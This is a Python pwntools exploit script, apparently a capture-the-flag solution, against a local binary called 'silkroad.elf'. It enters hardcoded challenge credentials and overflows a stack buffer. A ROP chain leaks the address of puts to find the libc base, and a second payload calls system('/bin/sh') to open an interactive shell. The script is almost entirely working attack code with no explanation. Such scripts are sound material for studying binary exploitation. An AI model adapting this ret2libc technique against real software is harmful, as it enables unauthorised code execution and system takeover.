#!/usr/bin/python
from pwn import *

'''
0x0000000000401bab : pop rdi ; ret
'''

context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
p = process('./silkroad.elf')
e = ELF('./silkroad.elf')
libc = ELF('./libc-2.27.so')

pop_rdi = 0x401bab
puts_got = e.got['puts']
puts_plt = e.plt['puts']
bin_sh = next(libc.search('/bin/sh'))

p.sendlineafter('ID: ', '790317143')
p.sendafter(': ', 'DreadPirateRobertsaiz\x00')

payload = 'A' * 0x48 # dummy
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x401AFD)

p.sendlineafter("!\n", payload)

leak = p.recvuntil("\n")
libc_base = u64(leak[:-1] + '\x00' * (8 - len(leak[:-1]))) - 0x0809c0

payload = 'A' * 0x48
payload += p64(0x401B4B)
payload += p64(pop_rdi)
payload += p64(libc_base + bin_sh)
payload += p64(libc_base + 0x04f440)
payload += p64(0)

# gdb.attach(p, '''
#     b *0x4018E5
#     ''')
# raw_input()

p.sendlineafter('ID: ', '790317143')
p.sendafter(': ', 'DreadPirateRobertsaiz\x00')
p.sendlineafter("!\n", payload)

p.interactive()